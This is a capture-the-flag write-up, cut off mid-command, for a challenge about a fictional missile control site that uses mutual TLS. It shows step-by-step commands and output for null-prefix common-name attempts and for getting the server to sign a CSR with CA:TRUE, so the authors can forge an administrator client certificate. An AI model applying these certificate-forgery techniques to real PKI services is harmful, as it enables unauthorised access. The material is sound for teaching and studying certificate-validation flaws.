# Challenge #2 Solved together with YaakovCohen88 ## Description > Hello again, Agent. > > Our team has successfully exfiltrated the intel contained in the safe. > > The intel has pointed us to an anti aircraft weapon deployed by the terrorists in order to shoot down civilian aircraft. > > While our field teams try to find the weapon, you must work to disable it remotely. > > Good luck! > M.| A link to a website was attached. ## Solution We visit the website at `http://missilesys.com/` and get a redirection to an HTTPS version: ```console root@kali:/media/sf_CTFs/mossad/2# curl http://missilesys.com/ -v * Trying 35.246.158.51... * TCP_NODELAY set * Connected to missilesys.com (35.246.158.51) port 80 (#0) > GET / HTTP/1.1 > Host: missilesys.com > User-Agent: curl/7.61.0 > Accept: */* > < HTTP/1.1 302 Moved Temporarily < Server: nginx/1.14.0 (Ubuntu) < Date: Sun, 12 May 2019 17:32:53 GMT < Content-Type: text/html < Content-Length: 170 < Connection: keep-alive < Location: https://missilesys.com/ < <html> <head><title>302 Found</title></head> <body bgcolor="white"> <center><h1>302 Found</h1></center> <hr><center>nginx/1.14.0 (Ubuntu)</center> </body> </html> * Connection #0 to host missilesys.com left intact ``` The HTTPS website is not backed by a known certificate chain: ```console root@kali:/media/sf_CTFs/mossad/2# curl https://missilesys.com/ curl: (60) SSL certificate problem: unable to get local issuer certificate More details here: https://curl.haxx.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above. ``` If we check the certificate chain details, we get the following certificate: ```console root@kali:/media/sf_CTFs/mossad/2# nmap -p 443 --script ssl-cert missilesys.com Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-12 20:37 IDT Nmap scan report for missilesys.com (35.246.158.51) Host is up (0.0098s latency). rDNS record for 35.246.158.51: 51.158.246.35.bc.googleusercontent.com PORT STATE SERVICE 443/tcp open https | ssl-cert: Subject: commonName=missilesys.com | Subject Alternative Name: DNS:missilesys.com, IP Address:35.198.135.201 | Issuer: organizationName=International Weapons Export Inc. | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2019-04-20T09:12:01 | Not valid after: 2020-04-19T09:12:01 | MD5: b023 7df6 4040 57fb f26e 0d38 0955 874e |_SHA-1: 4445 b350 b422 5dc7 1bcc 947c fa06 d48b 514f e580 ``` The certificate is issued to `missilesys.com` by `International Weapons Export Inc.`. Since we don't have a chain from `International Weapons Export Inc.` up to some root of trust, the certificate isn't trusted. We can add a flag to ignore our trust issues and retrieve the website anyway: ```console root@kali:/media/sf_CTFs/mossad/2# curl https://missilesys.com/ -v -k * Trying 35.246.158.51... * TCP_NODELAY set * Connected to missilesys.com (35.246.158.51) port 443 (#0) * ALPN, offering h2 * ALPN, offering http/1.1 * successfully set certificate verify locations: * CAfile: none CApath: /etc/ssl/certs * (304) (OUT), TLS handshake, Client hello (1): * (304) (IN), TLS handshake, Server hello (2): * TLSv1.2 (IN), TLS handshake, Certificate (11): * TLSv1.2 (IN), TLS handshake, Server key exchange (12): * TLSv1.2 (IN), TLS handshake, Request CERT (13): * TLSv1.2 (IN), TLS handshake, Server finished (14): * TLSv1.2 (OUT), TLS handshake, Certificate (11): * TLSv1.2 (OUT), TLS handshake, Client key exchange (16): * TLSv1.2 (OUT), TLS change cipher, Client hello (1): * TLSv1.2 (OUT), TLS handshake, Finished (20): * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384 * ALPN, server accepted to use http/1.1 * Server certificate: * subject: CN=missilesys.com * start date: Apr 20 09:12:01 2019 GMT * expire date: Apr 19 09:12:01 2020 GMT * issuer: O=International Weapons Export Inc. * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. > GET / HTTP/1.1 > Host: missilesys.com > User-Agent: curl/7.61.0 > Accept: */* > < HTTP/1.1 302 Moved Temporarily < Server: nginx/1.14.0 (Ubuntu) < Date: Sun, 12 May 2019 17:44:18 GMT < Content-Type: text/html < Content-Length: 170 < Connection: keep-alive < Location: http://missilesys.com/notwelcome < <html> <head><title>302 Found</title></head> <body bgcolor="white"> <center><h1>302 Found</h1></center> <hr><center>nginx/1.14.0 (Ubuntu)</center> </body> </html> * Connection #0 to host missilesys.com left intact ``` Now we get redirected to `http://missilesys.com/notwelcome`, which contains a big red light and the text "You are not welcome here!": ```html <div id="title" class="level1_title"> <span>You are not welcome here!</span> </div> <div id="notwelcome"> <img src="http://dev.missilesys.com/images/red_light.png"></img> </div> ``` If we inspect the TLS handshake, we can see that the server sent us `Request CERT` - a request for a client-side certificate as part of a [mutual authenticate](https://en.wikipedia.org/wiki/Mutual_authentication) negotiation. In a mutual authentication negotiation, the server not only sends us a certificate chain in order to prove its identity but also requests a certificate chain from us in order to prove our identity. Since we don't have any client-side certificate, the server rejects our access attempt. The image points to `http://dev.missilesys.com`, let's visit that: ![](images/dev_missle_form.png) If we try to enter a username and password, we are redirected to the following page: ![](images/dev_missle_download.png) With the following POST data: ``` username=user password=pass privatekey=-----BEGIN RSA PRIVATE KEY----- MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDEczI3G7Eckvvi jq+s2ZE3JhWnlKctCMVT1koTU3tqVVk1GG1VXS0QblSGJJY6fVU/e5+HXquC55Ku fXJsBRMv4Q0vR3PgYdYaDxyeCOs+a8lt5xm3c+vIF+8x+zxHtzT7cH5th+EXhaOQ hOxZgRgT9dKLexyGHZlAnTyxaCYacyaqZ2Y8hs+AchzHsg54q0nKEvg2see5W2kr kM+5QuS7eaRGgVSbtb4ZS27zZtxV6G5BmccOKPfm31DICfiS5mvP3GY+n7wJfG4Z 4u7GYLLRddIolbtwimqd/buDd0Hs4kUJ01ZGt+EHwo7+9tlHy4S3Pq5AsdAU1cNU TwnRhCxXAgMBAAECggEAHPwYJRxfWeVv56IA1oJ1VAs497RNpC3em3uLC2XuWCaG lnhnrUglnX6B1xbv2WpjmQ2+4GS97n8HW9pjdv+asJ5GaTrkJG+a/NZM9R5Aw0F5 A0+tMi2W1Lt/TcMRRk2IMi8LYFLDicpscybBjoUnDc7fxTehYkJcubVZXp2MvasM iGSeJQEIRUc41AGCPc5thiX1bQCW3fMpSpBk5Ld7Y8AFqS7ewdSk8YBxGSHF4uBN MnoP/ctqfktTCFanW/LPaDglhew8TOSJ3xeva1zdWTHz8Ak+/2ZG/eSPoihe8Ieq xjwcweluUwPlZkmkkGYmtbqci3XtGrcWbg24X/p9pQKBgQDpB/A+MSAIOvYuQ8sP aUW06KlAGLowDB/1HYPM2yRlRnQ0BSelFV2prFBbs1r7TYEzD1/C4tKszI5Y5c/T UuGqv9igTNxlAcRWO/4SU5xDqSNIbYhV0NTQjcRzV2pKHgi/Haau4rB8h9PBJgTg CObdt2E2Lfq2Z9tcGACUzKHQTQKBgQDX0DXUEAeo4hV731nuVTT29+doRP3MBY1V iVcJUxoqmT3K+sssHF4EI8Rm1G3PQDvqi8V8x6lCJhARxZ2vr2T31qsg5byOc8Eu LoWoHoQv4XRAGp9JW6KHiiPFMchKDiKm+qwoXPEbjJ8rZ7yrjb5GIXCtD5eKVhho qVb75AThMwKBgErhPSaO3I8oeyDEsgRivH50YKZzC6kSzFYURNzX8isE56Qrn+Ch K/awoyXETVEBR6njn87c2fuiw373Yb+zG0al3PMtn4hpd/CJ2IuFCGqJeAf3Al8o +qmFVIIHreThH8hhu8TonPN3Jekj0V84HQ9TtM4XGj/wwYEnSVCHLNvlAoGAB096 Q1C3sbTW3XdXaIdiX+tN325W2o5llzwrwpkaDc9bFIEiWMAtPx6nDISto5Odc/iA HBX3WdJIQRHcoZLjbLHM4jRmCr1JEfNpe6Rs/eI5OeKs+qMsAkNfqtJg4oFQEy/y nPto/3HoAmRlM7p9c4q2cmZQz9LSyNjTpXy33ZkCgYAuBjuiB1MXJ23SaSmHi+Ry x67ye57qtzJBjjNhAvWFfViRwZhEmY71OkOKkjlydpvGEiGvT1v9o+1xWmVflBwY 2AYjQGYeQDxUxGq09sY0i0z4ymbMvb6N+WWq+fbgAEADbDROjdQzjn3cuXexeN2m ZFv8fZE8JWUCLf2HRxOC0Q== -----END RSA PRIVATE KEY----- csr=-----BEGIN CERTIFICATE REQUEST----- MIICgjCCAWwCAQAwDzENMAsGA1UEAwwEdXNlcjCCASIwDQYJKoZIhvcNAQEBBQAD ggEPADCCAQoCggEBAMRzMjcbsRyS++KOr6zZkTcmFaeUpy0IxVPWShNTe2pVWTUY bVVdLRBuVIYkljp9VT97n4deq4Lnkq59cmwFEy/hDS9Hc+Bh1hoPHJ4I6z5ryW3n Gbdz68gX7zH7PEe3NPtwfm2H4ReFo5CE7FmBGBP10ot7HIYdmUCdPLFoJhpzJqpn ZjyGz4ByHMeyDnirScoS+Dax57lbaSuQz7lC5Lt5pEaBVJu1vhlLbvNm3FXobkGZ xw4o9+bfUMgJ+JLma8/cZj6fvAl8bhni7sZgstF10iiVu3CKap39u4N3QeziRQnT Vka34QfCjv722UfLhLc+rkCx0BTVw1RPCdGELFcCAwEAAaAwMC4GCSqGSIb3DQEJ DjEhMB8wHQYDVR0OBBYEFG0tZEZsdBat7bYForQa3Jsm4zwKMAsGCSqGSIb3DQEB BQOCAQEAhnbp1ZhMINpDVAtknky0pAHd6x7r0FaJmo2QxRMWp49BCdPV6GLS4JTl eNSz3uz8+iNPwTCqWTleFbA7OsnX1pYPeMGiHJKhPLHg+Tlfm3ozXc1jfskDXUJ7 GuCaHJnUf4FubjgTVkKL2Q5sZt7EWP3PIbw8x5ZMUVGCQatde9bLTf+1sMxZ5SJm A3r3eYXSKgEXE/ePInelL4QPU7fNuK5+5AVdvuiIeBNOI6K5piqJPQPFZIEf1l6+ d7HAgUB37mZ0NCLMuO6kO+CocCKDX1PH+cXW1nee1YM8vKZpEdb1QbI3Qwci3q4P CT1xF5tdlF0mg6nEQp89gAAy/aS61w== -----END CERTIFICATE REQUEST----- ``` As you can see, in addition to our username and password, the form included two hidden fields for a private RSA key and a certificate signing request. Let's inspect the CSR (certificate signing request) by copying it to a file and running the following command: ```console root@kali:/media/sf_CTFs/mossad/2# openssl req -in user.csr -text -noout Certificate Request: Data: Version: 1 (0x0) Subject: CN = user Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public-Key: (2048 bit) Modulus: 00:c4:73:32:37:1b:b1:1c:92:fb:e2:8e:af:ac:d9: 91:37:26:15:a7:94:a7:2d:08:c5:53:d6:4a:13:53: 7b:6a:55:59:35:18:6d:55:5d:2d:10:6e:54:86:24: 96:3a:7d:55:3f:7b:9f:87:5e:ab:82:e7:92:ae:7d: 72:6c:05:13:2f:e1:0d:2f:47:73:e0:61:d6:1a:0f: 1c:9e:08:eb:3e:6b:c9:6d:e7:19:b7:73:eb:c8:17: ef:31:fb:3c:47:b7:34:fb:70:7e:6d:87:e1:17:85: a3:90:84:ec:59:81:18:13:f5:d2:8b:7b:1c:86:1d: 99:40:9d:3c:b1:68:26:1a:73:26:aa:67:66:3c:86: cf:80:72:1c:c7:b2:0e:78:ab:49:ca:12:f8:36:b1: e7:b9:5b:69:2b:90:cf:b9:42:e4:bb:79:a4:46:81: 54:9b:b5:be:19:4b:6e:f3:66:dc:55:e8:6e:41:99: c7:0e:28:f7:e6:df:50:c8:09:f8:92:e6:6b:cf:dc: 66:3e:9f:bc:09:7c:6e:19:e2:ee:c6:60:b2:d1:75: d2:28:95:bb:70:8a:6a:9d:fd:bb:83:77:41:ec:e2: 45:09:d3:56:46:b7:e1:07:c2:8e:fe:f6:d9:47:cb: 84:b7:3e:ae:40:b1:d0:14:d5:c3:54:4f:09:d1:84: 2c:57 Exponent: 65537 (0x10001) Attributes: Requested Extensions: X509v3 Subject Key Identifier: 6D:2D:64:46:6C:74:16:AD:ED:B6:05:A2:B4:1A:DC:9B:26:E3:3C:0A Signature Algorithm: sha1WithRSAEncryption 86:76:e9:d5:98:4c:20:da:43:54:0b:64:9e:4c:b4:a4:01:dd: eb:1e:eb:d0:56:89:9a:8d:90:c5:13:16:a7:8f:41:09:d3:d5: e8:62:d2:e0:94:e5:78:d4:b3:de:ec:fc:fa:23:4f:c1:30:aa: 59:39:5e:15:b0:3b:3a:c9:d7:d6:96:0f:78:c1:a2:1c:92:a1: 3c:b1:e0:f9:39:5f:9b:7a:33:5d:cd:63:7e:c9:03:5d:42:7b: 1a:e0:9a:1c:99:d4:7f:81:6e:6e:38:13:56:42:8b:d9:0e:6c: 66:de:c4:58:fd:cf:21:bc:3c:c7:96:4c:51:51:82:41:ab:5d: 7b:d6:cb:4d:ff:b5:b0:cc:59:e5:22:66:03:7a:f7:79:85:d2: 2a:01:17:13:f7:8f:22:77:a5:2f:84:0f:53:b7:cd:b8:ae:7e: e4:05:5d:be:e8:88:78:13:4e:23:a2:b9:a6:2a:89:3d:03:c5: 64:81:1f:d6:5e:be:77:b1:c0:81:40:77:ee:66:74:34:22:cc: b8:ee:a4:3b:e0:a8:70:22:83:5f:53:c7:f9:c5:d6:d6:77:9e: d5:83:3c:bc:a6:69:11:d6:f5:41:b2:37:43:07:22:de:ae:0f: 09:3d:71:17:9b:5d:94:5d:26:83:a9:c4:42:9f:3d:80:00:32: fd:a4:ba:d7 ``` The main detail here is that the certificate is being issued in order to authenticate `user` (which is the username we entered). By inspecting the form source, we can see that these additional fields were generated by a script upon form submission: ```html <form method="post"> <div id="username"> <span>Username:</span> <input name="username" type="text"></input> </div> <div id="password"> <div>Password:</div> <input name="password" type="password"></input> </div> <div id="submit"> <input id="privatekey" name="privatekey" type="hidden"></input> <input id="csr" name="csr" type="hidden"></input> <input type="button" onclick="gencsr()" value="Submit"></input> </div> </form> ``` `gencsr()` is implemented in a javascript file included by the page. This file seems to be based on the [PKI.js](https://github.com/PeculiarVentures/PKI.js) library, with some custom code: ```javascript function gencsr() { createPKCS10(document.querySelector("#username input").value); } function createPKCS10(cn) { return Promise.resolve().then(() => createPKCS10Internal(cn)).then(() => { var resultString = "-----BEGIN CERTIFICATE REQUEST-----\r\n"; resultString = `${resultString}${formatPEM(toBase64(arrayBufferToString(pkcs10Buffer)))}`; resultString = `${resultString}\r\n-----END CERTIFICATE REQUEST-----\r\n`; document.getElementById("csr").value = resultString; document.getElementById("privatekey").value = window.privateKey; document.querySelector("#signup form").submit(); }); } ``` The custom code seems to generate a private key, and create a CSR with our selected username as the CN. If we click the "Download" link, we get to download a file called `user.p12`. This is a [PKCS #12](https://en.wikipedia.org/wiki/PKCS_12) file: > In cryptography, PKCS #12 defines an archive file format for storing many cryptography objects as a single file. It is commonly used to bundle a private key with its X.509 certificate or to bundle all the members of a chain of trust. Let's inspect it: ```console root@kali:/media/sf_CTFs/mossad/2# openssl pkcs12 -info -in user.p12 Enter Import Password: MAC: sha1, Iteration 2048 MAC length: 20, salt length: 8 PKCS7 Encrypted data: pbeWithSHA1And40BitRC2-CBC, Iteration 2048 Certificate bag Bag Attributes localKeyID: A0 AE D7 F1 54 72 79 71 D8 04 6E 0C E7 69 5A CD 07 C5 3F 1D subject=CN = user issuer=O = International Weapons Export Inc. -----BEGIN CERTIFICATE----- MIIC4jCCAcqgAwIBAgIBATANBgkqhkiG9w0BAQsFADAsMSowKAYDVQQKDCFJbnRl cm5hdGlvbmFsIFdlYXBvbnMgRXhwb3J0IEluYy4wHhcNMTkwNTEyMTgwMDQxWhcN MjAwNTExMTgwMDQxWjAPMQ0wCwYDVQQDDAR1c2VyMIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEAxHMyNxuxHJL74o6vrNmRNyYVp5SnLQjFU9ZKE1N7alVZ NRhtVV0tEG5UhiSWOn1VP3ufh16rgueSrn1ybAUTL+ENL0dz4GHWGg8cngjrPmvJ becZt3PryBfvMfs8R7c0+3B+bYfhF4WjkITsWYEYE/XSi3schh2ZQJ08sWgmGnMm qmdmPIbPgHIcx7IOeKtJyhL4NrHnuVtpK5DPuULku3mkRoFUm7W+GUtu82bcVehu QZnHDij35t9QyAn4kuZrz9xmPp+8CXxuGeLuxmCy0XXSKJW7cIpqnf27g3dB7OJF CdNWRrfhB8KO/vbZR8uEtz6uQLHQFNXDVE8J0YQsVwIDAQABoywwKjAJBgNVHRME AjAAMB0GA1UdDgQWBBRtLWRGbHQWre22BaK0GtybJuM8CjANBgkqhkiG9w0BAQsF AAOCAQEAK53ccwjm0BSOdgFhrKH8YUnsH2T6mFBt4x3oidVuS3HyVHSnCsLVKAiU FuuGKq2SbHIrEQwwdoI5Lnw5OeXEzsGpvzEGKFs5QaABCRflg1lOsQimc8ciTZ1r BY8EpC2YTmV9b837PU6/C3mvDEc74AywYp/EKS+4pEsIn/XVDCQ5DuOqKkhF2BAE Hzm5n7nsGf2oEBq/YkquQ1AX1yZtyrWBAQQxTJAx/+Fl3Rnd//pfgc9YA+xDqPd+ SmJMNDA84VTrU2TtNRzkhw5BND5SCbXjHJhaAIpemwt+fZCFLVARvWvDNq/9w/UZ eH+uSIgT06HgYluFm27oowwYNlouDw== -----END CERTIFICATE----- Certificate bag Bag Attributes: <No Attributes> subject=O = International Weapons Export Inc. issuer=O = International Weapons Export Inc. -----BEGIN CERTIFICATE----- MIIDLjCCAhagAwIBAgIJAIfwMMwTXISVMA0GCSqGSIb3DQEBCwUAMCwxKjAoBgNV BAoMIUludGVybmF0aW9uYWwgV2VhcG9ucyBFeHBvcnQgSW5jLjAeFw0xOTA0MjAw OTEyMDFaFw0xOTA1MjAwOTEyMDFaMCwxKjAoBgNVBAoMIUludGVybmF0aW9uYWwg V2VhcG9ucyBFeHBvcnQgSW5jLjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBALXZVC+c1A/4E8dVtZXOAGB4P5lX6zq/OtHa7mUruvVXTlmRiQxrP582C/9D yVx3n8FeR6TAcRtQIDHeQtbcovKD7m6QaZD2xh+liNkwnATU0XEc/eg04KUbu8m2 hbLDtPUwjSNqcEgs+KC3MQDXlOwhLAO0K6x4j6dAniEDlev3H7C+PcCcBSepYRyW Hs0NM+VW+69mMEGD0uHW14i3GhAxzJ40jQe30/EO9zdylVpWdpWlzVTw3sLU/7EV aPc/SfIehOeZ7hRiB1B3dy5KFu7LamusHoYduCjqwY2435ODZtxdJ4x+u7PKv3eb XRbcObYA10OkXFprvdigVTak7P8CAwEAAaNTMFEwHQYDVR0OBBYEFGRYGlEuaMZ+ hClg+aeMsSF2+PSoMB8GA1UdIwQYMBaAFGRYGlEuaMZ+hClg+aeMsSF2+PSoMA8G A1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAIDUDzQlEh97jzRkMNds TWEo2xiwYOspmbloiq1MV/uFG+CkgeE8/OeizsKPGlGmlxeJ0wfVGrPf0hSBISDV Bf2xN3QV9yHVtoJBr8hNyQN5Mvkl7q54TjrRvVhK4RWzSfnKzpV1btE9aEUmGpXH E9CI5sVx7FFMHQiXmuO3C1nXTV/gFUxGtpJE01xeD4xtfPM4yx6FWiGB1kdC8TsF 0HcE9pc2yWO/+C1YzVe+Zd0miCAXebh8g51PlAJhLJBLizQJFKg8jSGyDquhSPPq bzWmsTg7gC4p3zELjQmQZe7H7qwa5DmNLovrOhzLOhFh0fBx3210HbqDPw7TNW8h Cco= -----END CERTIFICATE----- PKCS7 Data Shrouded Keybag: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 2048 Bag Attributes localKeyID: A0 AE D7 F1 54 72 79 71 D8 04 6E 0C E7 69 5A CD 07 C5 3F 1D Key Attributes: <No Attributes> Enter PEM pass phrase: Verifying - Enter PEM pass phrase: -----BEGIN ENCRYPTED PRIVATE KEY----- MIIFHDBOBgkqhkiG9w0BBQ0wQTApBgkqhkiG9w0BBQwwHAQIekaYQxMj9iwCAggA MAwGCCqGSIb3DQIJBQAwFAYIKoZIhvcNAwcECBsX2X0EXQE+BIIEyEJHWDFVQw1t Wglw0fePUq3+9IWLTBwmYH1z3DmW5IoLBnbdLjdFIfI3UpEpZCAWCvX6f7XmVtI3 F2RtbJ5ThdWa+QbF+1jd98//j0nxnzxOnhIO15JdTwKTR+e0Kn9jDEXvpNr+Pc/C 38pu3QHdGp0eOr5zs0H4/mrUviUQx9QfGNgj19XFhtn4NWEF8h4r9AH/cHpVDrN2 zhoOsco6W7q2oxmB8A1w4NrifuUCovCiK4eFPmzBX+H0zYUZ0JFaigHOLOXpZuXh r5QRw37+Mlon/5LhGLP7D00Libu3ozksaY/3mqCnwz9YrAuA5wKcqe1fwJG2LhTO Ijb1uKqORtLVKV2xeacML0U+XZFryBF1z9pR0M0InNWtgHj/O2fwKvRLR7vVJCuK Jay5VTWNp5NqeD8M4ZsQWQL9f0thsvV0Ouh/wAFEcQ4DQGk1omXeiSn3cWKV7T+3 9p2aIZiEGVRKiDb3Z0PVUzXgMuMnr7ErMPhAIRdbXDIbkkg5eqHVhw1U9nmFpZPk IUccpUQxztM8zipKuSrVMsaaP4jI64unNuNbHgV4UtYHz6KFNee/Y0L2DCnzdLMt 437BttCC85TSf1Vsb02lZoiPcTEjq2/jKzXOBH1RMVM9OGwDFkU85T4IOxT8KQM8 +Uk2+mD4fpnOcXYZTkatMm3F/U/d5Hzmwe8BbBuVFzYMlkG4UvExa1/GAYDAhTiw QppC2E82Rv1V7IrS0l5airb3HBfPjpjX+kMiH/2QqIhjyMBITCMiVTCAYmMtvKLt 11kD+goqaW8PdsriNJxVK5ydR5j9MsdzRPmKY0hw07s0IIj8QQFF3isgQlREgEmw nz1EE/sM7tn8j0GiEhYUxZMLqtpg65fe373Nvjd5ik4FNS+L1kHUuxb7iOHS5yEQ JoAsidtgbzQqNM8XLZbz12th/WJE1qtYKzAxFP2MQZ4JbLvtmRDFGcH9ewVOKY5e L2ynk3/gGzY6nHtqW1cDOGsM/U6PNKQ5ays2MY9XlDpNAo5STTuYNQquEKfugnk8 vugRcm4kLc3TCtfsSDjCVACCUm3u1e8/MeopNQ9bDFxyjrRJcUkDefdGEr7qpuMy SmxBOHSzIUQXH7kJO2k4vW49N8af3ruO4LmrDn16IxWgq4jwfArSMsH92Afu5LmJ +dB6txxSHBcbN4wAKXuJGsy3qwLyOL+lKFuffaidxhsjdFNeL5pe/IQfEjJ5+ED3 lVpArp0UAd5wlH6R7mzlq0YdDhJsdw25WPRC5Rpkoe10Ue0q37H5D4T6pCOQg70s kny8fJedrVjxVdY7hYwUBXUjZSBPH0G7AWEqsYBaU5TNHizjFGEOnMVm0qhhJiPV F0zwwdFv0VwCzYYmeYAVLbaHWuVmDoYU42kv8wBXoRYFrPuAy4QQOMvPaYbikYc6 4+3dNagvyBGIeMgg7ZEypqQMGtkuPN1fbt3c5WMaA0Hs+VFZJSJcEEjHcUQgrGqO qPGkq9AhJPV8puHvassE0kqzSQnGUNuOsVFyV4uOIrvc4cSmn1CQjMGxW3FRbGHm wbtEA82E9Pte/HCl0gs7EJEI6nrMV25CwgQxdnhR07hQTizeUo+aBpCHuZrwp4ud ZndmJx9urwUzSRHY4wZVhw== -----END ENCRYPTED PRIVATE KEY----- ``` We can see that the certificate request we sent using the form was signed by the server, and now we have what seems to be a valid certificate chain which authenticates `user` and builds up to "International Weapons Export Inc." (which is also the issuer of the server certificate which was used when attempting to access `https://missilesys.com/`). Can we use this chain to access `http://missilesys.com`? We add the chain to our `Personal` certificate store: ![](images/cert_store.png) Now we try to access the website again. This time, the browser asks us which client-side certificate we'd like to use for mutual authentication: ![](images/select_certificate.png) We chose the newly installed certificate and can finally access the control panel: ![](images/control_panel.png) Looks serious. On the top right corner we have a "settings" link, but if we try to click it, we get an error message stating that "You are not the administrator!". No problem, we can just head back to `http://dev.missilesys.com` and issue a certificate with `administrator` as the CN, right? Not so easy, the server doesn't accept `administrator` as a valid name, and states that "User already exists!". Some implementations are vulnerable to a [null prefix attack](https://moxie.org/papers/null-prefix-attacks.pdf), where we insert a null byte inside the CN and faulty implementations might stop the comparison when they hit the null byte, or ignore the null byte altogether. All the following attempts were signed successfully by the server, allowed accessing the main control panel, but failed when attempting to access the setting page: ``` subject=CN = admin\00istrator subject=CN = administrator\00a subject=CN = administrator\00 ``` We have to find a different way to trick the server into signing an "administrator" certificate for us. Or is there another option? Let's take a closer look at the certificate the server signed for us. First we extract the certificate from the PKCS#12 file, and then inspect it: ```console root@kali:/media/sf_CTFs/mossad/2# openssl pkcs12 -in user.p12 -clcerts -nokeys -out user.pem Enter Import Password: root@kali:/media/sf_CTFs/mossad/2# openssl x509 -in user.pem -text -noout Certificate: Data: Version: 3 (0x2) Serial Number: 1 (0x1) Signature Algorithm: sha256WithRSAEncryption Issuer: O = International Weapons Export Inc. Validity Not Before: May 12 18:00:41 2019 GMT Not After : May 11 18:00:41 2020 GMT Subject: CN = user Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public-Key: (2048 bit) Modulus: 00:c4:73:32:37:1b:b1:1c:92:fb:e2:8e:af:ac:d9: 91:37:26:15:a7:94:a7:2d:08:c5:53:d6:4a:13:53: 7b:6a:55:59:35:18:6d:55:5d:2d:10:6e:54:86:24: 96:3a:7d:55:3f:7b:9f:87:5e:ab:82:e7:92:ae:7d: 72:6c:05:13:2f:e1:0d:2f:47:73:e0:61:d6:1a:0f: 1c:9e:08:eb:3e:6b:c9:6d:e7:19:b7:73:eb:c8:17: ef:31:fb:3c:47:b7:34:fb:70:7e:6d:87:e1:17:85: a3:90:84:ec:59:81:18:13:f5:d2:8b:7b:1c:86:1d: 99:40:9d:3c:b1:68:26:1a:73:26:aa:67:66:3c:86: cf:80:72:1c:c7:b2:0e:78:ab:49:ca:12:f8:36:b1: e7:b9:5b:69:2b:90:cf:b9:42:e4:bb:79:a4:46:81: 54:9b:b5:be:19:4b:6e:f3:66:dc:55:e8:6e:41:99: c7:0e:28:f7:e6:df:50:c8:09:f8:92:e6:6b:cf:dc: 66:3e:9f:bc:09:7c:6e:19:e2:ee:c6:60:b2:d1:75: d2:28:95:bb:70:8a:6a:9d:fd:bb:83:77:41:ec:e2: 45:09:d3:56:46:b7:e1:07:c2:8e:fe:f6:d9:47:cb: 84:b7:3e:ae:40:b1:d0:14:d5:c3:54:4f:09:d1:84: 2c:57 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: CA:FALSE X509v3 Subject Key Identifier: 6D:2D:64:46:6C:74:16:AD:ED:B6:05:A2:B4:1A:DC:9B:26:E3:3C:0A Signature Algorithm: sha256WithRSAEncryption 2b:9d:dc:73:08:e6:d0:14:8e:76:01:61:ac:a1:fc:61:49:ec: 1f:64:fa:98:50:6d:e3:1d:e8:89:d5:6e:4b:71:f2:54:74:a7: 0a:c2:d5:28:08:94:16:eb:86:2a:ad:92:6c:72:2b:11:0c:30: 76:82:39:2e:7c:39:39:e5:c4:ce:c1:a9:bf:31:06:28:5b:39: 41:a0:01:09:17:e5:83:59:4e:b1:08:a6:73:c7:22:4d:9d:6b: 05:8f:04:a4:2d:98:4e:65:7d:6f:cd:fb:3d:4e:bf:0b:79:af: 0c:47:3b:e0:0c:b0:62:9f:c4:29:2f:b8:a4:4b:08:9f:f5:d5: 0c:24:39:0e:e3:aa:2a:48:45:d8:10:04:1f:39:b9:9f:b9:ec: 19:fd:a8:10:1a:bf:62:4a:ae:43:50:17:d7:26:6d:ca:b5:81: 01:04:31:4c:90:31:ff:e1:65:dd:19:dd:ff:fa:5f:81:cf:58: 03:ec:43:a8:f7:7e:4a:62:4c:34:30:3c:e1:54:eb:53:64:ed: 35:1c:e4:87:0e:41:34:3e:52:09:b5:e3:1c:98:5a:00:8a:5e: 9b:0b:7e:7d:90:85:2d:50:11:bd:6b:c3:36:af:fd:c3:f5:19: 78:7f:ae:48:88:13:d3:a1:e0:62:5b:85:9b:6e:e8:a3:0c:18: 36:5a:2e:0f ``` What is the difference between a CA (certificate authority) certificate and a leaf certificate? The CA certificate can be used to sign other certificates, while a leaf certificate cannot. And how does the browser (or any other entity verifying the chain) know if a certificate is a leaf or not? Using the following field: ``` X509v3 Basic Constraints: CA:FALSE ``` If we didn't have this field, any malicious entity could purchase a legitimate certificate from a trusted CA and then use it to extend the chain by signing additional certificates. Therefore, when CAs issue certificates to end entities, they set "Basic Constraints: CA = FALSE" in the issued certificate and the browser knows not to trust a chain where any certificate but the last one has CA = FALSE. What if we could get the server to sign a certificate with CA = TRUE? We could then sign our own certificate with CN = administrator. We start by creating a private key for our intermediate certificate (in theory we could also use the one generated by the javascript file): ```console root@kali:/media/sf_CTFs/mossad/2# openssl genrsa -out intermediate_key.pem 2048 Generating RSA private key, 2048 bit long modulus (2 primes) ............................................................................................................+++++ ...................+++++ e is 65537 (0x010001) ``` Now, we need to issue a CSR for a certificate with CA = TRUE: ```console root@kali:/media/sf_CTFs/mossad/2# openssl req -addext basicConstraints=critical,CA:TRUE,pathlen:1 -outform pem -out intermediate_csr.pem -key intermediate_key.pem -new You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]:. State or Province Name (full name) [Some-State]:. Locality Name (eg, city) []:. Organization Name (eg, company) [Internet Widgits Pty Ltd]:. Organizational Unit Name (eg, section) []:. Common Name (e.g. server FQDN or YOUR name) []:Evil MITM Email Address []:. Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: An optional company name []: root@kali:/media/sf_CTFs/mossad/2# openssl req -text -noout -in intermediate_csr.pem | grep CA -B 3 Attributes: Requested Extensions: X509v3 Basic Constraints: critical CA:TRUE, pathlen:1 ``` Now we request the server to sign our CSR: ```console root@kali:/media/sf_CTFs/mossad/2# curl 'https://dev.missilesys.com/download_cert' -H 'Connection: keep-alive' -H 'Content-Type: application/x-www-form-urlencoded' --data 'username=user&password=pass' --insecure --data-urlencode 